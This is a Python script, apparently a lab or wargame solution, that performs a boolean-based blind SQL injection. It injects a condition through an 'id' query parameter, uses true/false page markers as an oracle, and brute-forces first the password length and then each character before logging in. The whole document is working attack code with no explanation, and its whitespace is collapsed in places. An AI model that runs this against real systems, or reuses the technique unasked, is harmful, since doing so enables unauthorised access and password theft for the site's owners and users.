deforacle(session, condition): injection = f"admin' and ({condition}) or '1'='0' -- " response = session.get( URL, params={"id": injection, "pw": "probe"}, timeout=10, ) response.raise_for_status() body = response.text.lower() if TRUE_MARKER in body: returnTrue if FALSE_MARKER in body: returnFalse raise RuntimeError("response did not contain a known oracle marker")
defrecover_password(session): password_length = None for length inrange(1, 101): if oracle(session, f"length(pw)={length}"): password_length = length break if password_length isNone: raise RuntimeError("password length was not found")
password_chars = [] for position inrange(1, password_length + 1): for code inrange(32, 127): condition = f"ascii(substr(pw,{position},1))={code}" if oracle(session, condition): password_chars.append(chr(code)) break else: raise RuntimeError(f"character at position {position} was not found") return"".join(password_chars)
if __name__ == "__main__": with requests.Session() as session: password = recover_password(session) print(password) result = login(session, password) print(result.status_code) print(result.text)